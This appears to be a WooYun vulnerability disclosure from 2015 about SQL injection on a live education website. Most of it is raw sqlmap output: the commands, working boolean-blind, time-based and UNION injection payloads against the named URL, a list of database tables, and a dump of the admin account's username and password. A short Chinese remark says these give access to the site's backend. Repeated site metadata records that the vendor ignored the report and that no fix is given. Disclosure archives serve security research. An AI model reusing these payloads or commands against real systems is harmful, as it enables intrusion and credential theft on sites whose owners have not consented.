[16:27:56] [INFO] retrieved: t_bulk
[16:27:56] [INFO] retrieved: t_bulktype
[16:27:56] [INFO] retrieved: t_city
[16:27:57] [INFO] retrieved: t_content
[16:27:57] [INFO] retrieved: t_custnews
[16:27:58] [INFO] retrieved: t_download
[16:27:58] [INFO] retrieved: t_downtype
[16:27:59] [INFO] retrieved: t_edunews
[16:28:02] [INFO] retrieved: t_edunewstype
[16:28:03] [INFO] retrieved: t_elegantimage
[16:28:03] [INFO] retrieved: t_fashion
[16:28:03] [INFO] retrieved: t_feedback
[16:28:04] [INFO] retrieved: t_focusfigure
[16:28:04] [INFO] retrieved: t_global
[16:28:05] [INFO] retrieved: t_goodnews
[16:28:05] [INFO] retrieved: t_goodzzyjs
[16:28:06] [INFO] retrieved: t_gradnews
[16:28:06] [INFO] retrieved: t_gradnewstype
[16:28:07] [INFO] retrieved: t_guide_xl
[16:28:07] [INFO] retrieved: t_guide_zzyjs
[16:28:07] [INFO] retrieved: t_images
[16:28:08] [INFO] retrieved: t_jobs
[16:28:08] [INFO] retrieved: t_join_news
[16:28:39] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
 going to retry the request
[16:28:40] [INFO] retrieved: t_joins
[16:28:40] [INFO] retrieved: t_language
[16:28:41] [INFO] retrieved: t_map
[16:28:41] [INFO] retrieved: t_message
[16:28:42] [INFO] retrieved: t_miennews
[16:28:42] [INFO] retrieved: t_miennewstype
[16:28:43] [INFO] retrieved: t_news
[16:28:43] [INFO] retrieved: t_newstype
[16:28:44] [INFO] retrieved: t_order
[16:28:44] [INFO] retrieved: t_orderdetail
[16:28:44] [INFO] retrieved: t_outlets
[16:28:45] [INFO] retrieved: t_pic
[16:28:45] [INFO] retrieved: t_pictype
[16:28:46] [INFO] retrieved: t_plugin
[16:28:46] [INFO] retrieved: t_post
[16:28:47] [INFO] retrieved: t_problem
[16:28:47] [INFO] retrieved: t_problemtype
[16:28:48] [INFO] retrieved: t_problemzzyjs
[16:28:48] [INFO] retrieved: t_problemzzyjstype
[16:28:48] [INFO] retrieved: t_process
[16:28:49] [INFO] retrieved: t_products
[16:28:49] [INFO] retrieved: t_protype
[16:28:50] [INFO] retrieved: t_resume
[16:28:50] [INFO] retrieved: t_role
[16:28:50] [INFO] retrieved: t_schoolxl
[16:28:51] [INFO] retrieved: t_schoolzzyjs
[16:28:51] [INFO] retrieved: t_storeimage
[16:28:51] [INFO] retrieved: t_team
[16:28:51] [INFO] retrieved: t_train
Database: aopengx
[53 tables]
+--------------------+
| t_admin            |
| t_bulk             |
| t_bulktype         |
| t_city             |
| t_content          |
| t_custnews         |
| t_download         |
| t_downtype         |
| t_edunews          |
| t_edunewstype      |
| t_elegantimage     |
| t_fashion          |
| t_feedback         |
| t_focusfigure      |
| t_global           |
| t_goodnews         |
| t_goodzzyjs        |
| t_gradnews         |
| t_gradnewstype     |
| t_guide_xl         |
| t_guide_zzyjs      |
| t_images           |
| t_jobs             |
| t_join_news        |
| t_joins            |
| t_language         |
| t_map              |
| t_message          |
| t_miennews         |
| t_miennewstype     |
| t_news             |
| t_newstype         |
| t_order            |
| t_orderdetail      |
| t_outlets          |
| t_pic              |
| t_pictype          |
| t_plugin           |
| t_post             |
| t_problem          |
| t_problemtype      |
| t_problemzzyjs     |
| t_problemzzyjstype |
| t_process          |
| t_products         |
| t_protype          |
| t_resume           |
| t_role             |
| t_schoolxl         |
| t_schoolzzyjs      |
| t_storeimage       |
| t_team             |
| t_train            |
+--------------------+
[16:28:51] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:28:51
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --columns -T t_admin -D aopengx
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20150901}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:33:28
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:33:29] [INFO] resuming back-end DBMS 'mysql'
[16:33:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:33:30] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:33:30] [INFO] fetching columns for table 't_admin' in database 'aopengx'
[16:33:30] [INFO] the SQL query used returns 7 entries
[16:33:31] [INFO] retrieved: "id","int(11)"
[16:33:31] [INFO] retrieved: "UserName","varchar(255)"
[16:33:31] [INFO] retrieved: "PassWord","varchar(510)"
[16:33:31] [INFO] retrieved: "UserRoleID","int(11)"
[16:33:32] [INFO] retrieved: "OrderDesc","int(11)"
[16:33:32] [INFO] retrieved: "RealName","varchar(255)"
[16:33:32] [INFO] retrieved: "IsLock","tinyint(3)"
Database: aopengx
Table: t_admin
[7 columns]
+------------+--------------+
| Column     | Type         |
+------------+--------------+
| id         | int(11)      |
| IsLock     | tinyint(3)   |
| OrderDesc  | int(11)      |
| PassWord   | varchar(510) |
| RealName   | varchar(255) |
| UserName   | varchar(255) |
| UserRoleID | int(11)      |
+------------+--------------+
[16:33:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:33:32
C:\Python27\sqlmap>
root@kailroot:~# sqlmap -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6* --dump -T t_admin -C "UserName,PassWord" -D aopengx
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-20151024}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:40:04
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
[16:40:06] [INFO] testing connection to the target URL
[16:40:06] [INFO] testing if the target URL is stable
[16:40:07] [INFO] target URL is stable
[16:40:07] [INFO] testing if URI parameter '#1*' is dynamic
[16:40:07] [INFO] confirming that URI parameter '#1*' is dynamic
[16:40:08] [INFO] URI parameter '#1*' is dynamic
[16:40:08] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[16:40:08] [INFO] testing for SQL injection on URI parameter '#1*'
[16:40:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:40:10] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[16:40:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:40:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:40:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:40:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:40:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:40:14] [INFO] testing 'MySQL inline queries'
[16:40:15] [INFO] testing 'PostgreSQL inline queries'
[16:40:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:40:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:40:15] [WARNING] time-based comparison requires larger statistical model, please wait...........
[16:40:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[16:40:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:40:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:40:18] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:40:49] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[16:40:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:40:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:40:55] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:40:57] [INFO] target URL appears to have 15 columns in query
[16:41:01] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 2070=2070 AND ('oyvm'='oyvm
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SELECT * FROM (SELECT(SLEEP(5)))wzmd) AND ('GSvY'='GSvY
    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-2709') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a716271,0x7674436b625063665543,0x716b6a7071),NULL,NULL-- 
---
[16:41:04] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:41:04] [INFO] fetching columns 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:41:05] [WARNING] unable to retrieve column names for table 't_admin' in database 'aopengx'
[16:41:05] [INFO] fetching entries of column(s) 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [INFO] fetching number of column(s) 'PassWord, UserName' entries for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:41:05] [INFO] retrieved: 1
[16:41:06] [INFO] retrieved: 123456
[16:41:19] [INFO] retrieved: 123456
[16:41:32] [INFO] analyzing table dump for possible password hashes
Database: aopengx
Table: t_admin
[1 entry]
+----------+----------+
| UserName | PassWord |
+----------+----------+
| 123456   | 123456   |
+----------+----------+
[16:41:32] [INFO] table 'aopengx.t_admin' dumped to CSV file '/root/.sqlmap/output/www.nbopen.com.cn/dump/aopengx/t_admin.csv'
[16:41:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbopen.com.cn'
[*] shutting down at 16:41:32
root@kailroot:~#

$XIB8R]S8P_0TH8ZL](%{{TC.png$

有图可知账户密码为123456
进入后台看下

修复方案：

I Don't Know ?

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-02 17:24

厂商回复：

漏洞Rank：4 (WooYun评价)

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156384

漏洞标题：奥鹏教育某分站教育网存在sql注入后台弱口令

相关厂商：open.com.cn

漏洞作者：路人甲

提交时间：2015-11-27 17:23

修复时间：2015-12-02 17:24

公开时间：2015-12-02 17:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评价

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0156384

漏洞标题：奥鹏教育某分站教育网存在sql注入后台弱口令

相关厂商：open.com.cn

漏洞作者： 路人甲

提交时间：2015-11-27 17:23

修复时间：2015-12-02 17:24

公开时间：2015-12-02 17:24

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0156384"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评价

漏洞概要关注数(24) 关注此漏洞

漏洞作者：路人甲

Tags标签：无

4人收藏收藏
分享漏洞：

版权声明：转载请注明来源路人甲@乌云